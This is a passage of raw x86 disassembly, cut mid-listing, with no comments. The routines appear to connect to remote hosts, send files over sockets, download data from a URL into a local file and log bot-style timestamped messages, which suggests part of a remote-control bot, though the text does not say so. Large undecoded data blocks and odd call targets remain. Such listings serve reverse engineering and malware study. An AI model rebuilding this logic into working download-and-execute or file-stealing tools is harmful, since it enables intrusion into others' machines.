call near ptr 71AB4122h cmp eax, edi jz short loc_415765 mov eax, [ebp-4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: ___:004156F5j ; ___:0041575Cj ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 0AC24E8FFh, 2B900227h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225B267h dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DB90[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBA8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437EF0 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EDC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2790000h mov ebx, offset dword_4D35F4 mov edi, 80h mov esi, offset dword_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F3C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: ___:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; --------------------------------------------------------------------------- byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437F6C push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: ___:00415E7Ej cmp byte ptr [ebp-98h], 0 jz short loc_415EBE lea eax, [ebp-98h] push eax call sub_41C159 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415EBE mov [ebp-8], eax loc_415EBE: ; CODE XREF: ___:00415EA5j ; ___:00415EB9j and dword ptr [ebp+8], 0 mov esi, offset dword_4CF5F4 loc_415EC7: ; CODE XREF: ___:00415F1Fj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp byte ptr [ebp-98h], 0 jz short loc_415EF6 cmp dword ptr [ebp-4], 0 jnz short loc_415EF6 lea eax, [ebp-98h] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: ___:00415EDBj ; ___:00415EE1j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: ___:00415ED2j ; ___:00415EF4j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: ___:00415ECDj lea eax, [ebp-31Ch] push offset dword_437F50 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: ___:00415F39j lea eax, [ebp-31Ch] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 22CA088h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: ___:0041661Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; --------------------------------------------------------------------------- dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_401ACD+A02o dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 6DE89056h dd 68022C9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h dd 5659FFFFh, 2C9F03E8h, 646A9002h, 0AD91E890h, 0FF330225h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h dd 0AD39E890h, 0A6A0225h, 0FF549DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh dd 2C9E3FE8h db 2 ; --------------------------------------------------------------------------- loc_4161C1: ; DATA XREF: sub_401ACD+7696o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: ___:00416203j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB9D4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CBA00 test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: ___:00416241j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB978 push dword ptr [ebp-2Eh] call dword_4CB904 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: ___:004162B0j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: ___:0041628Bj movsx eax, al loc_416295: ; CODE XREF: ___:00416290j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B9C0 cmp [ebp+8], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC test eax, eax jz short loc_4162C8 push offset unk_437FEC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: ___:004162BCj push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 27107C1h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: ___:004162E6j push esi push eax nop call near ptr 2740AF5h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AA06 pop ecx push eax call dword_4CBA14 push eax call dword_4CB9D0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_438090 push eax call sub_41C266 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB9BC test eax, eax jg short loc_4163A2 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_438078 push eax push dword ptr [ebp-1FCh] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: ___:00416380j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_4163DB push offset unk_438054 loc_4163C8: ; CODE XREF: ___:0041620Aj ; ___:00416248j ... lea eax, [ebp-3FCh] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: ___:004163C1j push edi call dword_4CBA6C cmp [ebp+8], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: ___:00416484j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163FD mov [ebp-4], eax loc_4163FD: ; CODE XREF: ___:004163F8j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BF70 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 27711CFh lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26F107Dh push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CBA24 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB9EC cmp eax, ebx jl loc_416522 mov eax, [ebp-4] cmp eax, ebx jl loc_416522 sub [ebp+8], eax jnz loc_4163F0 mov edi, [ebp-18h] loc_41648D: ; CODE XREF: ___:004163E5j push dword ptr [ebp-8] call near ptr 26608D5h nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416CC9 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CBA60 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_438028 push eax call sub_41C266 loc_4164C6: ; CODE XREF: ___:0041639Dj add esp, 14h loc_4164C9: ; CODE XREF: ___:004163D6j cmp [ebp-50h], esi jnz short loc_4164EE push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: ___:004164CCj lea eax, [ebp-3FCh] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C loc_416506: ; CODE XREF: ___:004164FDj push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h loc_416522: ; CODE XREF: ___:00416470j ; ___:0041647Bj push esi mov esi, offset dword_438010 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409869 push esi call sub_415D38 add esp, 18h push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_416563: ; DATA XREF: sub_401ACD+798o push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 26709F6h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429AC8 push eax call sub_41C266 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27107C1h cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: ___:004165E4j push eax nop call near ptr 26608D5h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: ___:0041660Cj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416646 push offset unk_43813C loc_416633: ; CODE XREF: ___:004165EBj ; ___:00416613j lea eax, [ebp-4C4h] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: ___:0041662Cj mov esi, 1000h loc_41664B: ; CODE XREF: ___:004166B1j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB9EC mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DB54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB9D0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CBA24 jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: ___:0041667Bj lea eax, [ebp-4C4h] push offset dword_438010 push eax call sub_41C266 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 lea eax, [ebp-4C4h] push eax call sub_415D38 push dword ptr [ebp-4] call sub_41BA3B add esp, 24h push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push 1 nop call near ptr 26E0000h loc_416712: ; CODE XREF: ___:00416672j mov eax, [ebp-8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_438110 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: ___:00416641j cmp [ebp-14h], ebx jnz short loc_416767 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: ___:00416745j lea eax, [ebp-4C4h] push eax call sub_415D38 cmp [ebp-4], ebx pop ecx jz short loc_416782 push dword ptr [ebp-4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: ___:00416777j cmp [ebp+8], ebx jbe short loc_416790 push dword ptr [ebp+8] call dword_4CBA6C loc_416790: ; CODE XREF: ___:00416785j push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h loc_4167A0: ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB984 call dword_4CB8D8 cmp eax, esi mov [ebp-18h], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27107C1h cmp eax, edi mov [ebp-20h], eax jnb short loc_416867 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_438358 push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_41684A push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: ___:00416828j lea eax, [ebp-510h] push eax call sub_415D38 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26E0000h loc_416867: ; CODE XREF: ___:00416808j xor edi, edi nop call near ptr 269083Ah mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BEB5 pop ecx mov [ebp-1Ch], eax loc_416881: ; CODE XREF: ___:00416954j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB8E0 cmp [ebp-34h], esi jz short loc_4168C5 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: ___:004168B2j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2700000h cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168ED mov eax, [ebp+8] loc_4168ED: ; CODE XREF: ___:004168E8j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: ___:004168DFj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416910 cmp edi, [ebp-3Ch] ja short loc_41695A loc_416910: ; CODE XREF: ___:00416909j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: ___:00416916j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438308 loc_41693A: ; CODE XREF: ___:00416928j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41C266 add esp, 10h cmp [ebp+8], esi ja loc_416881 loc_41695A: ; CODE XREF: ___:0041690Ej cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_4169AF cmp edi, [ebp-3Ch] jz short loc_4169AF push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset 